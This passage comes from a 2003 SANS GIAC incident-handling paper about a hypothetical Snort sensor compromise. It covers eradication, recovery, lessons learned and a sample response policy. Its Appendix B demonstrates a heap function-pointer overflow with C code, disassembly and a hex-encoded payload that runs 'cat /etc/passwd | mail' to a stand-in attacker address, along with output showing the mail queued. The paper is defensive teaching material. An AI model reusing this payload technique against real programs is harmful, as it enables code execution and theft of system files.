method of the attack.  They decided to move to the next phase of the analysis 
agreeing to return to containment if it appeared more systems were involved as 
they built a better picture of the methods used in the attack. 

Eradication 
The administrators now reviewed the backup of the compromised machine to 
determine the nature and, if possible, the tools used in the breach.  They built on 
information they had already gathered to form a more complete picture of what 
happened.   
 
The administrators continued the search by more thoroughly reviewing the 
system log files for any unusual activity.  They noticed some entries for e-mails 
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being sent in the Snort sensor syslog matched with the entries they previously 
had found in their mail server.  After finding no other suspicious activity they 
reviewed the Snort alert logs.  While reviewing the Snort logs they noticed gaps 
in logging that were associated with the Snort sensor crashing also happened to 
correspond to the times e-mails were sent out.  The administrators were 
beginning to form a picture of the attack.  They now developed a hypothesis that 
the generation of e-mails and the termination of Snort were somehow related.   
 
Frequently during this phase a hypothesis will be developed and later either 
discarded or validated.  This is the most difficult phase because the handler is 
dealing with many unknowns and sometimes pursuing strange theories.  Often 
management is urgently looking for answers and the incident handler needs to 
resist sharing these hypothesis to prevent them from becoming rumored as fact.  
In our case the administrators learned the lesson of rumors in the identification 
phase and were much more careful with the information they shared. 
 
Based on the correlation between Snort terminating and subsequently the e-
mails being generated the administrators hypothesized that the Snort process 
was being manipulated to generate the e-mail.  Their next conclusion led them to 
focus on the internet machines again.  The administrators concluded the only 
input Snort received was on the internet segment and therefore that must be  
where the data that was manipulating the sensor was being generated. 
 
Looking back in the web logs and FTP logs the administrators narrowed their 
focus to specific time intervals leading up to the time of each of the e-mails and 
each of the Snort crashes.    Here the administrators struck paydirt.  The FTP 
server showed a file being uploaded, downloaded, and deleted by an anonymous 
user just before each of the crashes.  This led them to conclude that somehow 
the traffic being generated from the FTP server was causing Snort to crash and 
generate an e-mail containing internal data.  The administrators agreed that this 
hypothesis had enough validity to begin eradication. 
 
The administrators then went to the packet storm security web site to see if any 
applicable exploits or vulnerabilities were documented.  The administrators chose 
to do this research after they had collected the data to prevent themselves from 
unintentionally focusing their efforts around a known exploit.  In reality this would 
be an iterative process where after the initial research vulnerabilities and exploits 
will be reviewed and further research performed.  In this case after a brief 
amount of research the administrators found the Snort vulnerability.  From this 
they deduced the FTP server was used to generate the desired traffic on the 
desired port. 
 
Before continuing with eradication the administrators stepped back briefly to the 
containment stage to validate that they correctly contained the incident based on 
the hypothesis they developed.  During the initial containment phase the 
administrators threw a fairly broad net around their network and made 
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assumptions about how broad the containment needed to be.  Now with a 
working hypothesis they need to revisit their containment strategy and ensure it 
covers the correct systems.  In this case the administrators focused on the time 
frames in question on all internal systems and verified there were no other signs 
of contamination. 
 
Now the administrators proceed with eradication.  Their first decision involves 
whether to rebuild the system or to attempt to clean the existing system.  They 
opt for rebuilding the system to guarantee a clean system.  On systems with 
many services or a significant amount of customization this can be a difficult task 
particularly if the documentation is non-existent or out of date.   
 
The first step for the administrators is to improve the security of the currently 
running production systems that were involved in the attack.  They enable 
logging on the database server hosting their customer database.  They learned 
that the lack of log files made it difficult to follow the chain of events.  Next they 
review the business needs for the customers to upload files to their site.  They 
choose to implement a more secure model that allows customers to FTP files 
into a “drop folder”.  The drop folder allows customers only to add files, but not 
retrieve or delete files.  These files are then reviewed by the company before 
being placed in the publicly viewable area.  The last production system the 
administrators focus their efforts on was the e-mail server.  As an extra 
precaution they choose to restrict the systems capable of generating e-mails and 
also enabled authenticated SMTP services.   
 
The administrators choose to salvage the Snort database since it isn’t executable 
and the passwords can easily be changed. 

Recovery 
The administrators now turn their focus to rebuilding the Snort sensor.  First, they 
focus their efforts on hardening the OS on the Linux box.  Next they retrieve the 
latest version of Snort (which fixed the vulnerability) and install it on their clean 
system.  While installing this version they focus on methods to further secure the 
installation and choose to have the program adopt a restricted user once it starts 
up.  Finally the administrators decide to lock down the connection the Snort 
sensor has to the internal network.  To do this they decide the best approach is 
to add a second machine to handle the database and reporting.  This machine is 
connected between the sensor and the corporate network, has routing disabled, 
and has ACL’s added to the interface that connects with the Snort sensor.  This 
restricts the access between the boxes to allow the Snort sensor to send 
database records and the reporting box to SSH to the sensor.  The only 
connection they allow from the Snort sensor to the database and reporting 
servers was the SQL connection for logging the alerts.     
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Lessons Learned 
 
The administrators in this case felt glad to be done with the incident and too busy 
to spend more time focusing on it.  In addition they had a customer base to 
rebuild!  Let’s evaluate and discuss their performance. 
 
The administrators in our example would have benefited from several policies.  
Every company should take the time to formulate policies to clearly define both 
goals and general guidelines in handling incidents.  The hypothetical scenario 
created here could have been averted if the company and the administrators had 
first developed a security policy that included the following elements: 
 

• No system should allow unauthenticated or anonymous users to store and 
retrieve data from the company’s network.   

 
• Any system that connects to two different networks must be restricted in 

it’s capabilities on at least one of the networks. 
 

• All applications should log access and functions performed. 
 

• Applications should be run with the least privileges required to perform 
their necessary tasks. 

 
The second policy the company should adopt is an incident handling policy.  This 
can serve as a checklist to help people make sure they perform all necessary 
actions especially when stress is high.  Another goal of an incident handling 
policy is to make many of the decisions before they are needed or at least 
identify who the correct people to make the decisions.   
 
In our example the first critical decision that was unintentionally made was the 
decision to not preserve a good chain of evidence.  A good resource discussing 
chain of evidence is available at MegaLink.  Preserving a good chain of evidence 
is helpful even if a company typically plans to just contain and clean the incident.  
This is especially true if later there is a decision to prosecute or if a suit is filed 
against the company.  Even if the information is never used for legal purposes, 
collecting it in an organized fashion can help with the incident handling process 
which is often long and handlers get very tired and forgetful.  Notes should be 
taken on all actions performed and recorded in a bound notebook.  When 
possible digital methods (such as script or doskey) could be used to aid in the 
recording of commands used.  Some of the most critical notes taken are the 
notes leading up to the backup.  Before a full backup is performed the only 
documentation of what the handler modifies is that documentation the handler 
keeps.  In the example used it is likely the company would decide to prosecute if 
it was able to determine the identify of the attacker.  Since there wasn’t a good 
chain of evidence their case would be much weaker.  
 



©
 S

A
N

S 
In

st
itu

te
 2

00
3,

 A
ut

ho
r r

et
ai

ns
 fu

ll 
ri

gh
ts

.

Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 

© SANS Institute 2003, As part of GIAC practical repository. Author retains full rights.
 23

The first step after an event is identified should be to identify an incident handler.  
This person becomes the focal point for analysis of the event.  The 
administrators in our example weren’t coordinated in their efforts which led to 
missed opportunities for correlating events. 
 
The third critical decision was whether to disconnect the machine or possibly the 
company from the internet.  This decision should be made both by the incident 
handling team and a pre-defined business team.  The incident handler may want 
to capture some connection data before disconnecting the machine.  The 
business team may decide not to disconnect; however, if the decision makers 
aren’t defined ahead of time it will likely become a time consuming negotiation 
during the incident to determine the next steps. 
 
The administrators in our example also found that incomplete information can 
lead to rumors.  Event handling requires a significant amount of communication, 
but it should be limited to those groups who need to know (management) or 
those groups who can help with the containment or identification.  
 
The administrators also realized the value of application logging.  System logging 
and firewall logging were fairly extensive, but much of the analysis that results 
from those logs is speculative.  Application logging gives much more detailed 
information to the handler. 
 
Based on their experiences the administrators should have also made additional 
changes to their routine.  Keeping up to date on patches and vulnerabilities is 
critical.  Many successful attacks are based on vulnerabilities that the community 
is aware of and for which patches are available. 
 
The administrators should have reviewed the attack and tried to determine why 
their additional defenses didn’t stop the vulnerability.  A defense in-depth strategy 
is key in any environment.  In this case the firewall the and the functionality of the 
Snort sensor on the network should have both been reviewed. 

Conclusion 
This paper reviews how one particular vulnerability might be exploited.  The 
vulnerability is intriguing because it is in a system that is set up to watch the 
network for attacks. 
 
None of the lessons learned are new, but they are important enough that they 
are worth repeating.   

• Defense in-Depth is critical. 
When the defenses of one mechanism fail or a new method is used 
that bypasses the primary defenses a defense in-depth strategy 
provides a safety net and hopefully prevents a successful attack. 

• Application logging reduces speculation. 
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Applications will continue to grow as attack vectors.  Their 
vulnerabilities allow attackers to see and steal critical information.   
The logging done by systems is critical for analyzing events and 
determining causes.   

• Policies provide guidance and structure. 
When adrenaline is rushing and events are happening it is easy to 
forget things.  Policies provide structure to the process.  Policies 
also make sure appropriate people know their roles so there isn’t 
confusion about who can or should make decisions when decisions 
are needed quickly. 

• Preparation is key. 
The effort during an incident should not be spent getting equipment, 
tools, or decisions.  If these things are already in place the time to 
handle and recover from an incident is significantly reduced.  The 
chance for error is also reduced because people are practiced and 
aren’t building make-shift solutions. 
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Appendix A – Sample Policy1 
 
Incident Response Procedures 
 
Overview 
 
This procedure is designed to help guide the incident response process and 
provide a set of steps to help ensure critical information throughout the process is 
captured. 
 
Decisions 
 
The core incident response team is likely comprised of existing members of the 
IS staff.  As soon as an incident is identified the incident response team needs to 
be formalized.  The team should consist of at least two people: the primary 
handler and the backup handler.  The primary handler is responsible for the 
process of the investigation.  The backup handler is responsible for 
documentation, helping the primary handler follow all procedures, and most 
importantly in helping to keep information flowing.   
 
The initial response should determine whether or not to escalate the event.  As 
soon as the handlers have reasonable cause to believe or suspect the incident 
includes theft of company property, public defacement of company property, or 
an employee performing malicious activity, the handlers must include IS 
Management, Legal, Corporate Communication, and Human Resources in the 
decision making processes. 
 
The default stance of this company is to not contact law enforcement or to 
prosecute the incident.  This decision may be changed by management during 
the process.  Because of this the incident handler should maintain notes and 
documentation of all steps performed in a bound notebook.  These pages should 
be pre-numbered  and signed by both handlers.  No pages should ever be 
removed from the incident notebook. 
 
All communication about the incident should be handled via phone.  The 
reliability and security of e-mail should be suspect until it can be proved secure. 
 
External Systems 
If the incident involves an external facing system and compromise involves 
defacement the first step the handler should take is to isolate the machine from 
the internet.  If current network connections can be captured quickly this should 
be done, but it is a wise business decision to remove the defacement from the 
internet as quickly as possible.  The machine should be left powered-on and 
                                            
1 Some material from SANS six step process to incident handling 
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disconnected from the network and then connected immediately to a stand-alone 
hub.  Proceed to the section titled ‘Information Collection’. 
 
For other external facing incidents unless the handler verifies that confidential 
data is currently being moved off the system the system should remain 
connected long enough to record volatile system information.   See section titled 
‘Information Collection’. 
 
Internal Systems 
Internal systems should be monitored if an incident is assumed.  The first step is 
to setup a sniffer for all traffic to/from the system.  If the span port on the switch is 
not available, a tap should be inserted between the system and the network.  A 
hub will not work if the connection is a full-duplex connection.  Once the sniffer is 
collecting all traffic the handler should proceed to the ‘Information Collection’ 
section. 
 
As the process unfolds and information becomes available the questions that 
need to be reviewed periodically are: 

• Should business partners be contacted and notified of the incident? 
• Should consumers/clients be notified of the incident? 
• Will this incident require legal handling of evidence (for prosecution)? 

 
This document is not intended to cover all aspects of the Incident Handling 
process, instead it highlights the minimum information that should be collected at 
various stages. 
 
Information Collection – Volatile Data/Connections 
 
During this stage the handler should be careful to modify as little as possible on 
the system and document all commands run.  A good way to do that on unix is to 
run the script command (script –a /floppy/script.txt).  The following information 
should be gathered using trusted versions of applications and logged to media 
attached to the system or sent across the network using a tool such as netcat. 
 

Data to collect Unix Windows 
open connections netsat -an netstat -an 
Applications bound to listeners lsof fport 
Process list ps pslist 
Current system time w date 
Network interface status Ifconfig -a doskey 

  
Review the key decision points with the information currently available. 
Determine whether it is necessary to disconnect the box from the network. 
 
Information Collection – System Backup 
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Backing up the data represents a critical step in the incident handling process.  
The backup should be performed using a bit level copy of the disk in question if 
at all possible.  Bit level backups can be performed with a disk duplicator or using 
a command such as dd in unix or windd for windows.  The original disk should 
then be sealed and stored in a secure location.  All commands executed on the 
target system should be documented up to the time of the backup.  The backup 
disk should then be used to diagnose the system. Care should be taken at this 
point to not modify the system settings until a full backup has been made.  Any 
absolutely necessary changes should be thoroughly documented by the incident 
handler.  As soon as possible a full bit level backup should be made - the backup 
should be onto clean/new media and ideally two copies should be made.  The 
original hard drive should be stored until the incident is complete.  One backup 
should be used to recover the system.  The third backup will be used for forensic 
diagnosis. 
 
Containment   
 
This phase contains the problem to prevent it from escalatin.  This could involve 
disconnecting a machine from the network or turning it off.  This could also 
include steps to protect other systems on the network from similar problems.  
Containment decisions need to be made by the incident team and ensuring that 
business needs are taken into account.  
 
Eradication   
 
The goal in this stage is to determine how to remove the problem from the 
system and patch the system to prevent future problems.  The safest option at 
this stage is to backup the data and re-install the system.  In some cases re-
installing may not be an option and you may need to restore from a backup prior 
to the incident.  It is critical at this stage to ensure the problem is actually 
removed. 
 
Recovery  
This stage is the process of getting back to business.  The system that has had 
the incident eradicated is brought back on-line with appropriate monitoring.  
Typically someone will continue to check to see if the system continues to be 
vulnerable.  Extensive monitoring is critical.   
 
Lessons Learned 
This is a very critical part of the process.  This happens quickly after systems are 
back in business and a review of the Who, What, Where, When, and Why of the 
incident is made and a final report is generated that everyone signs off. 
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Appendix B – Function Pointers in depth 
Function pointers as mentioned earlier are used by C programmers to 
manipulate the execution of the program.  This appendix covers in more detail 
how function pointers work and how they can be manipulated to perform code 
the attacker wishes to execute.  The examples are loosely based on the work by 
Matt Conover and the w00w00 Security Team in their paper “w00w00 on Heap 
Overflows”.   
 
First let’s review a program with sample function pointers to make sure the 
principles of function pointers are understood.   

#include <stdio.h> 
#include <stdlib.h> 
#include <string.h> 
/* Function pointer example - compile with: 
 * gcc -o fptr fptr.c  
 */ 
  
int funcenglish(const char *str); /* define english function */ 
int funcspanish(const char *str); /* define spanish function */ 
  
int main(int argc, char **argv) 
{ 
        char teststr[] = "Test String"; 
        char *p; 
        static char buf[64]; /* buffer in heap */ 
        static int (*funcptr_heap)(const char *str); /*pointer is on the heap*/ 
        int (*funcptr_stack)(const char *str);  /*pointer is on the stack*/ 
        p = (char *) malloc(64);  /* malloc'd memory is on the heap */ 
        if (argc <=2) 
        { 
                fprintf(stderr, "Usage: %s buffer string\n",argv[0]); 
                return -1; 
        } 
        strcpy(teststr,p); 
        printf("system() = %p\n",system); 
        printf("stack argv[2] = %p\n", argv[2]); 
        printf("buf pointer = %p: addr = %x\n\n",buf,&buf); 
        funcptr_stack = (int (*)(const char *str))funcenglish; /* set ptr to function */ 
        funcptr_heap = (int (*)(const char *str))funcenglish;  /* set ptr to function */ 
        printf("before overflow: funcptr_heap at %x and points to %p\n",&funcptr_heap, funcptr_heap); 
        printf("before overflow: funcptr_stack at %x and points to %p\n",&funcptr_stack, funcptr_stack); 
        printf("p at %x and points to %p \n",&p,p); 
        memset(buf, 0, sizeof(buf)); 
        printf("after overflow: funcptr_stack points to %p\n", funcptr_stack); 
  
        (void)(*funcptr_stack)(argv[2]); 
        return 0; 
} 
  
int funcenglish(const char *str) 
{ 
        printf("\nI'm the english function. Parameter %s\n",str); 
        return 0; 
 
 
} 
 

In this sample program we define two functions one for English and one for 
Spanish.  Within the code we create two function pointers funcptr_heap and 
funcptr_stack to demonstrate that how a pointer is defined controls where the 
pointer is in memory.  Running the program will show each where in memory 
each of the pointers reside. 
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system() = 0x8048408 
stack argv[2] = 0xbffffc28 
buf pointer = 0x8049aa0: addr = 8049aa0 
  
before overflow: funcptr_heap at 8049ae0 and points to 0x80486e8 
before overflow: funcptr_stack at bffffa88 and points to 0x80486e8 
p at bffffa8c and points to 0x8049b08  
after overflow: funcptr_stack points to 0x80486e8 
  
 
I'm the english function. Parameter Input String 

 
From the output we can draw the memory map and begin to understand how the 
various pieces interact: 
 

 
In the example we created two function pointers that point to the function 
funcenglish – one in the heap and one in the stack.  In this case we are 
interested in modifying funcptr_heap by writing too much data into buf.  From the 
above image we can see that by writing an additional four bytes of data into buf 
we will overwrite funcptr_heap.  The next step is to determine what we should 
point it to.  If the exploit is attempting to gain a root shell then it is common to use 
the machine code that will perform an execve on /bin/sh to give the attacker a 
root shell.  In our example since the attacker is remote and wouldn’t be able to 
utilize the root shell the attacker instead chose to use the machine code from this 
sample program: 
 

int main(int argc, char **argv) 
{ 
        system("cat /etc/passwd | mail 'badguy@attack.net'"); 
 
} 

 
Using GDB we see the machine language is: 
 

0x8048460 <main>:       push   %ebp 
0x8048461 <main+1>:     mov    %esp,%ebp 
0x8048463 <main+3>:     sub    $0x8,%esp 
0x8048466 <main+6>:     sub    $0xc,%esp 
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0x8048469 <main+9>:     push   $0x8048500 
0x804846e <main+14>:    call   0x804831c <system> 
0x8048473 <main+19>:    add    $0x10,%esp 
0x8048476 <main+22>:    leave   
0x8048477 <main+23>:    ret     
0x8048478 <main+24>:    nop     
0x8048479 <main+25>:    nop 

 
The command string “cat /etc/passwd | mail ‘badguy@attack.net’” is in this case 
stored at memory address 0x8048500.  The call to system, which is the function 
we are going to try and call is a relative call from the address of the command 
calling system.  Taking the hex code from above and adding it to our program so 
we can move it into the buffer buf using the same techniques Snort is using to 
move data on the heap (pointers moving a byte at a time up to a predefined 
number) we get the following code: 
 

/* Function pointer example - compile with: 
 * gcc -o fptr fptr.c  
 */ 
  
int funcenglish(const char *str); /* define english function */ 
int funcspanish(const char *str); /* define spanish function */ 
  
int main(int argc, char **argv) 
{ 
        char cmdarray[100] = {'\x63','\x61','\x74','\x20','\x2f','\x65','\x74','\x63', 
        '\x2f','\x70','\x61','\x73','\x73','\x77','\x64','\x20','\x7c','\x20','\x6d', 
        '\x61','\x69','\x6c','\x20','\x27','\x62', 
        '\x40','\x61','\x74','\x74','\x61','\x63','\x6b','\x2e','\x6e','\x65','\x74', 
        '\x27','\x00',  /* end of string 38 bytes */ 
        '\x55','\x89','\xe5','\x83','\xec','\x08','\x83','\xec','\x0c','\x68', 
        '\xe0','\x9b','\x04','\x08', /* address of argument to system() */ 
        '\xe8','\xef','\xe7','\xff','\xff', /* command to run (e8) and offset to system()*/ 
        '\x83','\xc4','\x10','\xc9','\xc3', 
        '\x90','\x90','\x06','\x9c','\x04','\x08'}; /*  address to run */ 
        int x; 
        int maxchar; 
        char teststr[] = "Test String"; 
        char *p; 
        u_int8_t *rpc; 
        u_int8_t *index; 
        static char buf[64]; /* buffer in heap */ 
        static int (*funcptr_heap)(const char *str); /*pointer is on the heap*/ 
        int (*funcptr_stack)(const char *str);  /*point is on the stack*/ 
        p = (char *) malloc(64);  /* malloc'd memory is on the heap */ 
        if (argc <=2) 
        { 
                fprintf(stderr, "Usage: %s buffer string\n",argv[0]); 
                return -1; 
        } 
        printf("system() = %p\n",system); 
        printf("stack argv[2] = %p\n", argv[2]); 
        printf("buf pointer = %p: addr = %x\n\n",buf,&buf); 
        funcptr_stack = (int (*)(const char *str))funcenglish; /* set ptr to function */ 
        funcptr_heap = (int (*)(const char *str))funcenglish;  /* set ptr to function */ 
        printf("before overflow: funcptr_heap at %x and points to %p\n",&funcptr_heap, funcptr_heap); 
        printf("before overflow: funcptr_stack at %x and points to %p\n",&funcptr_stack, funcptr_stack); 
        printf("p at %x and points to %p \n",&p,p); 
        rpc = &buf[0]; 
        index = &cmdarray[0]; 
        printf("before copy rcp = %p and index = %p\n",rpc,index); 
        maxchar=atoi(argv[1]); 
        printf("argv[1] = %d\n", maxchar); 
        for(x = 0; x <= maxchar; x++, rpc++, index++) 
        { 
                *rpc = * index; 
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        } 
        printf("after overflow: funcptr_heap points to %p\n", funcptr_heap); 
  
        (void)(*funcptr_heap)(argv[2]); 
        return 0; 
} 
  
int funcenglish(const char *str) 
{  
        printf("\nI'm the english function. Parameter %s\n",str); 
        return 0; 
} 

 
This program uses the number in argv[1] as the number of bytes to transfer from 
cmdarray to the buffer on the heap.   The array cmdarray is preloaded with the 
string “cat /etc/passwd | mail ‘b@attack.net’” followed by a null byte.  After the 
string we load in the machine code we stole from our short program.  Two values 
had to be changed to make it work.  First, the pointer to the string we wish to 
execute must be changed to point to the buffer we control (buf).  Second, the 
offset to system is relative to the current address, so that had to be calculated 
and changed to EF E7 FF FF.  The memory now looks like: 
 

 
The parts in red are the modifications the program makes to memory which alters 
the flow of the program.  By writing 68 bytes into buf the program overwrites the 
funcptr_heap with the location of the code the attacker wishes to run 
(0x8049c06).  Below is the output from running the program and the maillog entry 
showing the attempted e-mail. 
 

[tempero@snort tempero]$ date 
Sun Mar 30 19:52:27 PST 2003 
[tempero@snort tempero]$ ./fptr 67 "HI" 
system() = 0x8048408 
stack argv[2] = 0xbffffc37 
buf pointer = 0x8049be0: addr = 8049be0 
  
before overflow: funcptr_heap at 8049c20 and points to 0x8048794 
before overflow: funcptr_stack at bffffa10 and points to 0x8048794 
p at bffffa1c and points to 0x8049c48  
before copy rcp = 0x8049be0 and index = 0xbffffa40 
argv[1] = 67 
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after overflow: funcptr_heap points to 0x8049c06 
[tempero@snort tempero]$ su   
Password:  
[root@snort tempero]# tail -2 /var/log/maillog 
Mar 30 19:52:43 snort sendmail[11302]: h2V3qh811302: from=tempero, size=1344, class=0, nrcpts=0, 
msgid=<200303310352.h2V3qh811302@localhost.localdomain>, relay=tempero@localhost 
Mar 30 19:52:43 snort sendmail[11302]: h2V3qh811302: to=b@attack.net, delay=00:00:00, mailer=esmtp, 
pri=1344, dsn=4.4.3, stat=queued   

 
The attacker by locating a function pointer in the heap and overwriting a buffer 
near that function pointer can manipulate the flow of the program.  In the case of 
this example the program would continue to run, but the function that the attacker 
replaced would no longer function properly.  However, in many cases the 
program is looping through a series and each new element the function pointer 
will be reassigned, which means the attacker has the challenge of having to find 
a function pointer that they will be able to alter before the function pointer is 
reset. 
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